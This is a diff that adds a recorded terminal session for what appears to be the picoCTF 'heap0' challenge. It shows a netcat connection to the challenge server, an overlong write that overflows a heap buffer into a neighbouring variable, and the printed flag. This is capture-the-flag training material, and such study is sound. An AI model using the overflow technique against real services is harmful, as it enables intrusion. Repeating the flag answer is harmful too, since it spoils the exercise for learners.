pwn/heap_0

pwn/heap_0/output.txt

@@ -0,0 +1,34 @@
+$ nc tethys.picoctf.net 62334
+
+Welcome to heap0!
+I put my data on the heap so it should be safe from any tampering.
+Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
+
+Heap State:
++-------------+----------------+
+[*] Address   ->   Heap Data   
++-------------+----------------+
+[*]   0x5fa8485542b0  ->   pico
++-------------+----------------+
+[*]   0x5fa8485542d0  ->   bico
++-------------+----------------+
+
+1. Print Heap:          (print the current state of the heap)
+2. Write to buffer:     (write to your own personal block of data on the heap)
+3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
+4. Print Flag:          (Try to print the flag, good luck)
+5. Exit
+
+Enter your choice: 2
+Data for buffer: picopicopicopicopicopicopicopicopico
+
+1. Print Heap:          (print the current state of the heap)
+2. Write to buffer:     (write to your own personal block of data on the heap)
+3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
+4. Print Flag:          (Try to print the flag, good luck)
+5. Exit
+
+Enter your choice: 4
+
+YOU WIN
+picoCTF{my_first_heap_overflow_e4c92a78}